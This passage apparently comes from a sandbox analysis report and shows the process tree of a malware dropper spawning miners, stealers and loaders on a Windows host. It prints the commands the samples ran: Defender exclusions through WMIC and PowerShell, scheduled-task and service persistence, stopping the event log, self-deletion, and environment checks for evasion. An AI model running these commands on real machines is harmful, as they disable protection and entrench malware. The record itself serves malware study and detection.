        "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
        9⤵
        
        PID:5264
      - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /CREATE /TN "bgNHpsssZstYPMxCCI" /SC once /ST 10:37:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\GsQRrtwSziAnYplPc\CShgmbCUeIuNzVH\RfbMjZg.exe\" mP /vQsite_idbvV 385118 /S" /V1 /F
        6⤵
        Creates scheduled task(s)
        
        PID:6808
      - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /run /I /tn "bgNHpsssZstYPMxCCI"
        6⤵
        
        PID:8356
      - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /CREATE /TN "eMHQCETsWPnVYjMqf" /SC once /ST 03:11:50 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\GsQRrtwSziAnYplPc\GlgcQoiPCSwQOyx\JlLaSYD.exe\" fx /Absite_idiIp 385118 /S" /V1 /F
        6⤵
        Creates scheduled task(s)
        
        PID:2808
      - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /run /I /tn "eMHQCETsWPnVYjMqf"
        6⤵
        
        PID:7996
  - - C:\Users\Admin\Pictures\WgVZIj5lovgsBS7xvypuWJjk.exe
      "C:\Users\Admin\Pictures\WgVZIj5lovgsBS7xvypuWJjk.exe"
      4⤵
      PID:1284
  - - C:\Users\Admin\Pictures\1BJFsDlBkvak5lQ5CvouaYAp.exe
      "C:\Users\Admin\Pictures\1BJFsDlBkvak5lQ5CvouaYAp.exe"
      4⤵
      PID:5052
    - - C:\Users\Admin\AppData\Local\Temp\7zS27E1.tmp\Install.exe
        
        .\Install.exe /dQndidvBp "385118" /S
        5⤵
        
        PID:5664
      - C:\Windows\SysWOW64\forfiles.exe
        
        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"
        6⤵
        
        PID:6544
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
        7⤵
        
        PID:4152
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
        8⤵
        
        PID:6384
        
        C:\Windows\SysWOW64\Wbem\WMIC.exe
        
        "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
        9⤵
        
        PID:6424
      - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /CREATE /TN "bgNHpsssZstYPMxCCI" /SC once /ST 10:37:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\GsQRrtwSziAnYplPc\CShgmbCUeIuNzVH\FWpVgOG.exe\" mP /zmsite_idQLK 385118 /S" /V1 /F
        6⤵
        Creates scheduled task(s)
        
        PID:7072
      - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /run /I /tn "bgNHpsssZstYPMxCCI"
        6⤵
        
        PID:7264
      - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /CREATE /TN "eMHQCETsWPnVYjMqf" /SC once /ST 06:33:53 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\GsQRrtwSziAnYplPc\GlgcQoiPCSwQOyx\uZQuntG.exe\" fx /BVsite_idUHm 385118 /S" /V1 /F
        6⤵
        Creates scheduled task(s)
        
        PID:10364
      - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /run /I /tn "eMHQCETsWPnVYjMqf"
        6⤵
        
        PID:11320
  - - C:\Users\Admin\Pictures\PSTJJJ8aLDc95WiGqWep2H75.exe
      "C:\Users\Admin\Pictures\PSTJJJ8aLDc95WiGqWep2H75.exe" --silent --allusers=0
      4⤵
      PID:4904
    - - C:\Users\Admin\Pictures\PSTJJJ8aLDc95WiGqWep2H75.exe
        
        C:\Users\Admin\Pictures\PSTJJJ8aLDc95WiGqWep2H75.exe --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=109.0.5097.38 --initial-client-data=0x2c0,0x2c4,0x2c8,0x29c,0x2cc,0x6900e1d0,0x6900e1dc,0x6900e1e8
        5⤵
        
        PID:4876
    - - C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\PSTJJJ8aLDc95WiGqWep2H75.exe
        
        "C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\PSTJJJ8aLDc95WiGqWep2H75.exe" --version
        5⤵
        
        PID:5144
    - - C:\Users\Admin\Pictures\PSTJJJ8aLDc95WiGqWep2H75.exe
        
        "C:\Users\Admin\Pictures\PSTJJJ8aLDc95WiGqWep2H75.exe" --backend --install --import-browser-data=0 --enable-stats=1 --enable-installer-stats=1 --consent-given=0 --general-interests=0 --general-location=0 --personalized-content=0 --personalized-ads=0 --launchopera=1 --installfolder="C:\Users\Admin\AppData\Local\Programs\Opera" --profile-folder --language=en --singleprofile=0 --copyonly=0 --allusers=0 --setdefaultbrowser=1 --pintotaskbar=1 --pintostartmenu=0 --run-at-startup=1 --show-intro-overlay --server-tracking-data=server_tracking_data --initial-pid=4904 --package-dir-prefix="C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_20240409103515" --session-guid=451874fa-2ef2-4001-af69-893b5e1e0cbf --server-tracking-blob="MGI0MTdiNjAyMjBmZWU1NDExY2MyMzAxMjhkNDczYzg1YmZjNjA3OTcwM2ViZjA4NDBkNTg2NDYxNWJjMGY2ZTp7ImNvdW50cnkiOiJHQiIsImluc3RhbGxlcl9uYW1lIjoiT3BlcmFTZXR1cC5leGUiLCJwcm9kdWN0Ijp7Im5hbWUiOiJvcGVyYSJ9LCJxdWVyeSI6Ii9vcGVyYS9zdGFibGUvd2luZG93cy8/dXRtX21lZGl1bT1hcGImdXRtX3NvdXJjZT1ta3QmdXRtX2NhbXBhaWduPTc2N19fNDU2Iiwic3lzdGVtIjp7InBsYXRmb3JtIjp7ImFyY2giOiJ4ODZfNjQiLCJvcHN5cyI6IldpbmRvd3MiLCJvcHN5cy12ZXJzaW9uIjoiMTEiLCJwYWNrYWdlIjoiRVhFIn19LCJ0aW1lc3RhbXAiOiIxNzEyNjU4OTA2Ljk2MTMiLCJ1dG0iOnsiY2FtcGFpZ24iOiI3NjdfXzQ1NiIsIm1lZGl1bSI6ImFwYiIsInNvdXJjZSI6Im1rdCJ9LCJ1dWlkIjoiZThmYjA3OWEtN2E0Ny00OWNhLWIzN2MtODdkNTc4YTJjMjdhIn0= " --silent --desktopshortcut=1 --wait-for-package --initial-proc-handle=7004000000000000
        5⤵
        
        PID:5512
      - C:\Users\Admin\Pictures\PSTJJJ8aLDc95WiGqWep2H75.exe
        
        C:\Users\Admin\Pictures\PSTJJJ8aLDc95WiGqWep2H75.exe --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=109.0.5097.38 --initial-client-data=0x2b4,0x2b8,0x2bc,0x290,0x2cc,0x684ee1d0,0x684ee1dc,0x684ee1e8
        6⤵
        
        PID:5704
    - - C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404091035151\assistant\Assistant_108.0.5067.20_Setup.exe_sfx.exe
        
        "C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404091035151\assistant\Assistant_108.0.5067.20_Setup.exe_sfx.exe"
        5⤵
        
        PID:3396
    - - C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404091035151\assistant\assistant_installer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404091035151\assistant\assistant_installer.exe" --version
        5⤵
        
        PID:8256
      - C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404091035151\assistant\assistant_installer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404091035151\assistant\assistant_installer.exe" --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=108.0.5067.20 --initial-client-data=0x284,0x288,0x28c,0x260,0x290,0x810040,0x81004c,0x810058
        6⤵
        
        PID:8604
  - - C:\Users\Admin\Pictures\1dBbIr92BsgFc5toCGDPyQN3.exe
      "C:\Users\Admin\Pictures\1dBbIr92BsgFc5toCGDPyQN3.exe"
      4⤵
      PID:3968
  - - C:\Users\Admin\Pictures\WY7oBxs9lxD07Hk7lFGx4iyF.exe
      "C:\Users\Admin\Pictures\WY7oBxs9lxD07Hk7lFGx4iyF.exe"
      4⤵
      PID:7912
    - - C:\Users\Admin\AppData\Local\Temp\u63s.0.exe
        
        "C:\Users\Admin\AppData\Local\Temp\u63s.0.exe"
        5⤵
        
        PID:9644
    - - C:\Users\Admin\AppData\Local\Temp\u63s.1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\u63s.1.exe"
        5⤵
        
        PID:13336
  - - C:\Users\Admin\Pictures\iLcWzUGBGeeUOfoaWENIPJjM.exe
      "C:\Users\Admin\Pictures\iLcWzUGBGeeUOfoaWENIPJjM.exe"
      4⤵
      PID:8544
  - - C:\Users\Admin\Pictures\cLWCUhiiu0bumVc7nz3BR1qQ.exe
      "C:\Users\Admin\Pictures\cLWCUhiiu0bumVc7nz3BR1qQ.exe"
      4⤵
      PID:11592
  - - C:\Users\Admin\Pictures\ZOzTzam4gvKhWAGU8T9Ss5J3.exe
      "C:\Users\Admin\Pictures\ZOzTzam4gvKhWAGU8T9Ss5J3.exe"
      4⤵
      PID:12072
    - - C:\Users\Admin\AppData\Local\Temp\7zSF4B9.tmp\Install.exe
        
        .\Install.exe /dQndidvBp "385118" /S
        5⤵
        
        PID:5616
  - - C:\Users\Admin\Pictures\TCIPI5U47hoq9mZOYq4ugTg8.exe
      "C:\Users\Admin\Pictures\TCIPI5U47hoq9mZOYq4ugTg8.exe"
      4⤵
      PID:11792
    - - C:\Users\Admin\AppData\Local\Temp\7zSF46B.tmp\Install.exe
        
        .\Install.exe /dQndidvBp "385118" /S
        5⤵
        
        PID:7768
  - - C:\Users\Admin\Pictures\J3ueGYDjTevLiTTBAz34rh66.exe
      "C:\Users\Admin\Pictures\J3ueGYDjTevLiTTBAz34rh66.exe" --silent --allusers=0
      4⤵
      PID:10284
    - - C:\Users\Admin\Pictures\J3ueGYDjTevLiTTBAz34rh66.exe
        
        C:\Users\Admin\Pictures\J3ueGYDjTevLiTTBAz34rh66.exe --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=109.0.5097.38 --initial-client-data=0x2b0,0x2b4,0x2b8,0x28c,0x2bc,0x6754e1d0,0x6754e1dc,0x6754e1e8
        5⤵
        
        PID:11728
    - - C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\J3ueGYDjTevLiTTBAz34rh66.exe
        
        "C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\J3ueGYDjTevLiTTBAz34rh66.exe" --version
        5⤵
        
        PID:11344
- C:\Users\Admin\AppData\Local\Temp\Files\Tweeter%20Traffic.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\Tweeter%20Traffic.exe"
  2⤵
  PID:4592
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 4592 -s 1408
    3⤵
    - Program crash
    PID:1708
- C:\Users\Admin\AppData\Local\Temp\Files\2.3.1.1.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\2.3.1.1.exe"
  2⤵
  PID:3020
- C:\Users\Admin\AppData\Local\Temp\Files\blue2_A1.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\blue2_A1.exe"
  2⤵
  PID:1764
- C:\Users\Admin\AppData\Local\Temp\Files\288c47bbc1871b439df19ff4df68f000766.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\288c47bbc1871b439df19ff4df68f000766.exe"
  2⤵
  PID:5264
- - C:\Users\Admin\AppData\Local\Temp\ISetup4.exe
    "C:\Users\Admin\AppData\Local\Temp\ISetup4.exe"
    3⤵
    PID:5600
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 5600 -s 668
      4⤵
      Program crash
      PID:5556
- - C:\Users\Admin\AppData\Local\Temp\288c47bbc1871b439df19ff4df68f076.exe
    "C:\Users\Admin\AppData\Local\Temp\288c47bbc1871b439df19ff4df68f076.exe"
    3⤵
    PID:5772
- C:\Users\Admin\AppData\Local\Temp\Files\new.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\new.exe"
  2⤵
  PID:5744
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
    3⤵
    PID:6032
- C:\Users\Admin\AppData\Local\Temp\Files\alexxxxxxxx.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\alexxxxxxxx.exe"
  2⤵
  PID:5172
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
    3⤵
    PID:5796
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
    3⤵
    PID:5240
  - - C:\Users\Admin\AppData\Roaming\configurationValue\Traffic.exe
      "C:\Users\Admin\AppData\Roaming\configurationValue\Traffic.exe"
      4⤵
      PID:5196
  - - C:\Users\Admin\AppData\Roaming\configurationValue\propro.exe
      "C:\Users\Admin\AppData\Roaming\configurationValue\propro.exe"
      4⤵
      PID:4160
- C:\Users\Admin\AppData\Local\Temp\Files\svchost.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\svchost.exe"
  2⤵
  PID:5488
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Files\svchost.exe'
    3⤵
    PID:964
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'svchost.exe'
    3⤵
    PID:3288
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\OneDrive.exe'
    3⤵
    PID:1992
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'OneDrive.exe'
    3⤵
    PID:4772
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "OneDrive" /tr "C:\Users\Admin\AppData\Roaming\OneDrive.exe"
    3⤵
    - Creates scheduled task(s)
    PID:1636
- C:\Users\Admin\AppData\Local\Temp\Files\net.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\net.exe"
  2⤵
  PID:6136
- C:\Users\Admin\AppData\Local\Temp\Files\syncUpd.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\syncUpd.exe"
  2⤵
  PID:5960
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 5960 -s 1096
    3⤵
    - Program crash
    PID:5572
- C:\Users\Admin\AppData\Local\Temp\Files\TrueCrypt_nKJqAu.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\TrueCrypt_nKJqAu.exe"
  2⤵
  PID:5400
- - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\ADelRCP.exe
    "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\ADelRCP.exe"
    3⤵
    PID:7012
- C:\Users\Admin\AppData\Local\Temp\Files\tpeinf.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\tpeinf.exe"
  2⤵
  PID:5996
- - C:\Users\Admin\AppData\Local\Temp\327519931.exe
    C:\Users\Admin\AppData\Local\Temp\327519931.exe
    3⤵
    PID:6164
  - - C:\Users\Admin\AppData\Local\Temp\1997930207.exe
      C:\Users\Admin\AppData\Local\Temp\1997930207.exe
      4⤵
      PID:4968
    - - C:\Users\Admin\AppData\Local\Temp\42877113.exe
        
        C:\Users\Admin\AppData\Local\Temp\42877113.exe
        5⤵
        
        PID:5860
    - - C:\Users\Admin\AppData\Local\Temp\299718786.exe
        
        C:\Users\Admin\AppData\Local\Temp\299718786.exe
        5⤵
        
        PID:7592
    - - C:\Users\Admin\AppData\Local\Temp\1638513533.exe
        
        C:\Users\Admin\AppData\Local\Temp\1638513533.exe
        5⤵
        
        PID:1404
    - - C:\Users\Admin\AppData\Local\Temp\2445823543.exe
        
        C:\Users\Admin\AppData\Local\Temp\2445823543.exe
        5⤵
        
        PID:7988
    - - C:\Users\Admin\AppData\Local\Temp\2719331625.exe
        
        C:\Users\Admin\AppData\Local\Temp\2719331625.exe
        5⤵
        
        PID:9996
      - C:\Users\Admin\AppData\Local\Temp\2480635818.exe
        
        C:\Users\Admin\AppData\Local\Temp\2480635818.exe
        6⤵
        
        PID:10628
  - - C:\Users\Admin\AppData\Local\Temp\131699011.exe
      C:\Users\Admin\AppData\Local\Temp\131699011.exe
      4⤵
      PID:1524
  - - C:\Users\Admin\AppData\Local\Temp\2606711581.exe
      C:\Users\Admin\AppData\Local\Temp\2606711581.exe
      4⤵
      PID:7548
  - - C:\Users\Admin\AppData\Local\Temp\2290417113.exe
      C:\Users\Admin\AppData\Local\Temp\2290417113.exe
      4⤵
      PID:6532
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c shutdown /r
        5⤵
        
        PID:9208
      - C:\Windows\SysWOW64\shutdown.exe
        
        shutdown /r
        6⤵
        
        PID:9528
  - - C:\Users\Admin\AppData\Local\Temp\2388119810.exe
      C:\Users\Admin\AppData\Local\Temp\2388119810.exe
      4⤵
      PID:5764
- C:\Users\Admin\AppData\Local\Temp\Files\juditttt.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\juditttt.exe"
  2⤵
  PID:6636
- - C:\Users\Admin\AppData\Local\Temp\onefile_6636_133571325644050626\stub.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\juditttt.exe"
    3⤵
    PID:6500
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "ver"
      4⤵
      PID:6364
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
      4⤵
      PID:5800
    - - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic path win32_VideoController get name
        5⤵
        Detects videocard installed
        
        PID:1828
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "wmic computersystem get Manufacturer"
      4⤵
      PID:6476
    - - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic computersystem get Manufacturer
        5⤵
        
        PID:5624
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "gdb --version"
      4⤵
      PID:6624
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "tasklist"
      4⤵
      PID:3480
    - - C:\Windows\system32\tasklist.exe
        
        tasklist
        5⤵
        Enumerates processes with tasklist
        
        PID:6152
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "wmic path Win32_ComputerSystem get Manufacturer"
      4⤵
      PID:6644
    - - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic path Win32_ComputerSystem get Manufacturer
        5⤵
        
        PID:6368
- C:\Users\Admin\AppData\Local\Temp\Files\Miner-XMR1.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\Miner-XMR1.exe"
  2⤵
  PID:2912
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe delete "FLWCUERA"
    3⤵
    - Launches sc.exe
    PID:6976
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe create "FLWCUERA" binpath= "C:\ProgramData\eyfisgalqlbk\iojmibhyhiws.exe" start= "auto"
    3⤵
    - Launches sc.exe
    PID:6152
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe stop eventlog
    3⤵
    - Launches sc.exe
    PID:6196
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe start "FLWCUERA"
    3⤵
    - Launches sc.exe
    PID:6140
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\Files\Miner-XMR1.exe"
    3⤵
    PID:7024
  - - C:\Windows\system32\choice.exe
      choice /C Y /N /D Y /T 3
      4⤵
      PID:5432
- C:\Users\Admin\AppData\Local\Temp\Files\ISetup3.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\ISetup3.exe"
  2⤵
  PID:6564
- - C:\Users\Admin\AppData\Local\Temp\u52c.0.exe
    "C:\Users\Admin\AppData\Local\Temp\u52c.0.exe"
    3⤵
    PID:6124
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 6124 -s 1320
      4⤵
      Program crash
      PID:5624
- - C:\Users\Admin\AppData\Local\Temp\u52c.1.exe
    "C:\Users\Admin\AppData\Local\Temp\u52c.1.exe"
    3⤵
    PID:7772
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 6564 -s 972
    3⤵
    - Program crash
    PID:5416
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 6564 -s 1204
    3⤵
    - Program crash
    PID:7632
- C:\Users\Admin\AppData\Local\Temp\Files\djdjdje1939_crypted_EASY.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\djdjdje1939_crypted_EASY.exe"
  2⤵
  PID:7344
- C:\Users\Admin\AppData\Local\Temp\Files\xmrig.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\xmrig.exe"
  2⤵
  PID:7260
- C:\Users\Admin\AppData\Local\Temp\Files\cmon.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\cmon.exe"
  2⤵
  PID:6324
- C:\Users\Admin\AppData\Local\Temp\Files\Qmpjm.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\Qmpjm.exe"
  2⤵
  PID:6632
- C:\Users\Admin\AppData\Local\Temp\Files\WatchDog.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\WatchDog.exe"
  2⤵
  PID:2648
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2648 -s 1264
    3⤵
    - Program crash
    PID:2236
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2648 -s 1264
    3⤵
    - Program crash
    PID:3428
- C:\Users\Admin\AppData\Local\Temp\Files\amert.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\amert.exe"
  2⤵
  PID:8748
- C:\Users\Admin\AppData\Local\Temp\Files\virus.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\virus.exe"
  2⤵
  PID:8696
- C:\Users\Admin\AppData\Local\Temp\Files\lumma21.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\lumma21.exe"
  2⤵
  PID:3752
- C:\Users\Admin\AppData\Local\Temp\Files\martinvnc.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\martinvnc.exe"
  2⤵
  PID:644
- - C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k
    3⤵
    PID:5476
- C:\Users\Admin\AppData\Local\Temp\Files\current.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\current.exe"
  2⤵
  PID:1804
- C:\Users\Admin\AppData\Local\Temp\Files\HeaderFinder.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\HeaderFinder.exe"
  2⤵
  PID:10876
- C:\Users\Admin\AppData\Local\Temp\Files\test.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\test.exe"
  2⤵
  PID:9028
- C:\Users\Admin\AppData\Local\Temp\Files\kb%5Efr_ouverture.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\kb%5Efr_ouverture.exe"
  2⤵
  PID:10328
- C:\Users\Admin\AppData\Local\Temp\Files\afile.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\afile.exe"
  2⤵
  PID:1412
- C:\Users\Admin\AppData\Local\Temp\Files\Nvokcuobkn.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\Nvokcuobkn.exe"
  2⤵
  PID:12944

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 436 -p 3508 -ip 3508
1⤵
PID:2944

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 484 -p 4592 -ip 4592
1⤵
PID:3216

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 480 -p 5600 -ip 5600
1⤵
PID:4732

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
1⤵
PID:5588

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
1⤵
PID:5692

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 528 -p 2996 -ip 2996
1⤵
PID:5244

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 352 -p 2996 -ip 2996
1⤵
PID:5732

C:\Users\Admin\AppData\Local\Temp\One_Dragon_Center\MSI.CentralServer.exe
C:\Users\Admin\AppData\Local\Temp\One_Dragon_Center\MSI.CentralServer.exe
1⤵
PID:3456

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 556 -p 6116 -ip 6116
1⤵
PID:6340

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 404 -p 5960 -ip 5960
1⤵
PID:7096

C:\ProgramData\eyfisgalqlbk\iojmibhyhiws.exe
C:\ProgramData\eyfisgalqlbk\iojmibhyhiws.exe
1⤵
PID:3340
- C:\Windows\system32\conhost.exe
  C:\Windows\system32\conhost.exe
  2⤵
  PID:6356
- - C:\ProgramData\eyfisgalqlbk\iojmibhyhiws.exe
    "C:\ProgramData\eyfisgalqlbk\iojmibhyhiws.exe"
    3⤵
    PID:5376
  - - C:\Windows\system32\conhost.exe
      conhost.exe
      4⤵
      PID:3608
- - C:\ProgramData\eyfisgalqlbk\iojmibhyhiws.exe
    "C:\ProgramData\eyfisgalqlbk\iojmibhyhiws.exe"
    3⤵
    PID:7808
- C:\Windows\system32\conhost.exe
  conhost.exe
  2⤵
  PID:5380

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 572 -p 6564 -ip 6564
1⤵
PID:5268

C:\Users\Admin\AppData\Local\Temp\GsQRrtwSziAnYplPc\CShgmbCUeIuNzVH\RfbMjZg.exe
C:\Users\Admin\AppData\Local\Temp\GsQRrtwSziAnYplPc\CShgmbCUeIuNzVH\RfbMjZg.exe mP /vQsite_idbvV 385118 /S
1⤵
PID:7784
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
